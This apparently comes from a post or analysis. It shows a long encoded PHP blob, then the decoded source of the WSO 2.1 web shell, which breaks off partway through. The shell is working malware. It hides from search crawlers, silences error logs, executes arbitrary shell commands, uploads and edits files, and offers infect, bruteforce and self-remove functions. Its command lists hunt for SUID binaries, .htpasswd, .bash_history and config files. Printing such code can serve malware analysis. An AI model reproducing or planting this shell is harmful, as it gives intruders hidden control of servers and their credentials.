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')));
The decoder gave me the following output,
1: ?><?php/* WSO 2.1 (Web Shell by oRb) */
2: $auth_pass = "161498ff7b638f5e5c0d5e32fab5470b";
3: $color = "#df5";
4: $default_action = 'FilesMan';
5: @define('SELF_PATH', __FILE__);
6: if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false )
7: { header('HTTP/1.0 404 Not Found'); exit;}@session_start();@error_reporting(0);@ini_set('error_log',NULL);@ini_set('log_errors',0);@ini_set('max_execution_time',0);@set_time_limit(0);@set_magic_quotes_runtime(0);
8: @define('VERSION', '2.1');
9: if( get_magic_quotes_gpc() ) { function stripslashes_array($array) { return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); } $_POST = stripslashes_array($_POST);}function printLogin() { ?> <center> <form method=post> Password: <input type=password name=pass><input type=submit value='>>'> </form></center> <?php exit;}if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) if( empty( $auth_pass ) || ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ) $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; else printLogin();if( strtolower( substr(PHP_OS,0,3) ) == "win" ) $os = 'win';else $os = 'nix';$safe_mode = @ini_get('safe_mode');$disable_functions = @ini_get('disable_functions');$home_cwd = @getcwd();if( isset( $_POST['c'] ) ) @chdir($_POST['c']);$cwd = @getcwd();if( $os == 'win') { $home_cwd = str_replace("\\", "/", $home_cwd); $cwd = str_replace("\\", "/", $cwd);}if( $cwd[strlen($cwd)-1] != '/' ) $cwd .= '/'; if($os == 'win') $aliases = array( "List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all" );else $aliases = array( "List dir" => "ls -la", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" =>"locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files"=>"locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv" );function printHeader() { if(empty($_POST['charset'])) $_POST['charset'] = "UTF-8"; global $color; ?><html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?> - WSO <?=VERSION?></title><style> body {background-color:#444;color:#e1e1e1;} body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; } table.info { color:#fff;background-color:#222; } span,h1,a { color:<?=$color?> !important; } span { font-weight: bolder; } h1 { border-left:5px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; } div.content { padding: 5px;margin-left:5px;background-color:#333; } a { text-decoration:none; } a:hover { text-decoration:underline; } .ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; } .bigarea { width:100%;height:250px; } input, textarea, select { margin:0;color:#fff;background-color:#555;border:1px solid <?=$color?>; font: 9pt Monospace,"Courier New"; } form { margin:0px; } #toolsTbl { text-align:center; } .toolsInp { width: 300px } .main th {text-align:left;background-color:#5e5e5e;} .main tr:hover{background-color:#5e5e5e} .main td, th{vertical-align:middle} .l1 {background-color:#444} pre {font-family:Courier,Monospace;}</style><script> function set(a,c,p1,p2,p3,charset) { if(a != null)document.mf.a.value=a; if(c != null)document.mf.c.value=c; if(p1 != null)document.mf.p1.value=p1; if(p2 != null)document.mf.p2.value=p2; if(p3 != null)document.mf.p3.value=p3; if(charset != null)document.mf.charset.value=charset; } function g(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); document.mf.submit(); } function a(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); var params = "ajax=true"; for(i=0;i<document.mf.elements.length;i++) params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value); sr('<?=$_SERVER['REQUEST_URI'];?>', params); } function sr(url, params) { if (window.XMLHttpRequest) { req = new XMLHttpRequest(); req.onreadystatechange = processReqChange; req.open("POST", url, true); req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded"); req.send(params); } else if (window.ActiveXObject) { req = new ActiveXObject("Microsoft.XMLHTTP"); if (req) { req.onreadystatechange = processReqChange; req.open("POST", url, true); req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded"); req.send(params); } } } function processReqChange() { if( (req.readyState == 4) ) if(req.status == 200) { //alert(req.responseText); var reg = new RegExp("(\\d+)([\\S\\s]*)", "m"); var arr=reg.exec(req.responseText); eval(arr[2].substr(0, arr[1])); } else alert("Request error!"); }</script><head><body><div style="position:absolute;width:100%;background-color:#444;top:0;left:0;"><form method=post name=mf style='display:none;'><input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'><input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'><input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'><input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'><input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'><input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'></form><?php $freeSpace = @diskfreespace($GLOBALS['cwd']); $totalSpace = @disk_total_space($GLOBALS['cwd']); $totalSpace = $totalSpace?$totalSpace:1; $release = @php_uname('r'); $kernel = @php_uname('s'); $millink='http://milw0rm.com/search.php?dong='; if( strpos('Linux', $kernel) !== false ) $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) ); else $millink .= urlencode( $kernel . ' ' . substr($release,0,3) ); if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(@posix_geteuid()); $gid = @posix_getgrgid(@posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $cwd_links = ''; $path = explode("/", $GLOBALS['cwd']); $n=count($path); for($i=0;$i<$n-1;$i++) { $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; for($j=0;$j<=$i;$j++) $cwd_links .= $path[$j].'/'; $cwd_links .= "\")'>".$path[$i]."/</a>"; } $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); $opt_charsets = ''; foreach($charsets as $item) $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); if(!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout'; $m['Self remove'] = 'SelfRemove'; $menu = ''; foreach($m as $k => $v) $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>'; $drives = ""; if ($GLOBALS['os'] == 'win') { foreach( range('a','z') as $drive ) if (is_dir($drive.':\\')) $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; } echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'. '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';}function printFooter() { $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";?></div><table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style="border-top:2px solid #333;border-bottom:2px solid #333;"> <tr> <td><form onSubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td> <td><form onSubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td> </tr> <tr> <td><form onSubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td> <td><form onSubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td> </tr> <tr> <td><form onSubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td> <td><form method='post' ENCTYPE='multipart/form-data'> <input type=hidden name=a value='FilesMAn'> <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'> <input type=hidden name=p1 value='uploadFile'> <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'> <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td> </tr></table></div></body></html><?php}if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }function ex($in) { $out = ''; if(function_exists('exec')) { @exec($in,$out); $out = @join("\n",$out); }elseif(function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); }elseif(function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); }elseif(function_exists('shell_exec')) { $out = shell_exec($in); }elseif(is_resource($f = @popen($in,"r"))) { $out = ""; while(!@feof($f)) $out .= fread($f,1024); pclose($f); } return $out;}function viewSize($s) { if($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824 ). ' GB'; elseif($s >= 1048576) return sprintf('%1.2f', $s / 1048576 ) . ' MB'; elseif($s >= 1024) return sprintf('%1.2f', $s / 1024 ) . ' KB'; else return $s . ' B';}function perms($p) { if (($p & 0xC000) == 0xC000)$i = 's'; elseif (($p & 0xA000) == 0xA000)$i = 'l'; elseif (($p & 0x8000) == 0x8000)$i = '-'; elseif (($p & 0x6000) == 0x6000)$i = 'b'; elseif (($p & 0x4000) == 0x4000)$i = 'd'; elseif (($p & 0x2000) == 0x2000)$i = 'c'; elseif (($p & 0x1000) == 0x1000)$i = 'p'; else $i = 'u'; $i .= (($p & 0x0100) ? 'r' : '-'); $i .= (($p & 0x0080) ? 'w' : '-'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); $i .= (($p & 0x0020) ? 'r' : '-'); $i .= (($p & 0x0010) ? 'w' : '-'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); $i .= (($p & 0x0004) ? 'r' : '-'); $i .= (($p & 0x0002) ? 'w' : '-'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); return $i;}function viewPermsColor($f) { if (!@is_readable($f)) return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>'; elseif (!@is_writable($f)) return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>'; else return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';}if(!function_exists("scandir")) { function scandir($dir) { $dh = opendir($dir); while (false !== 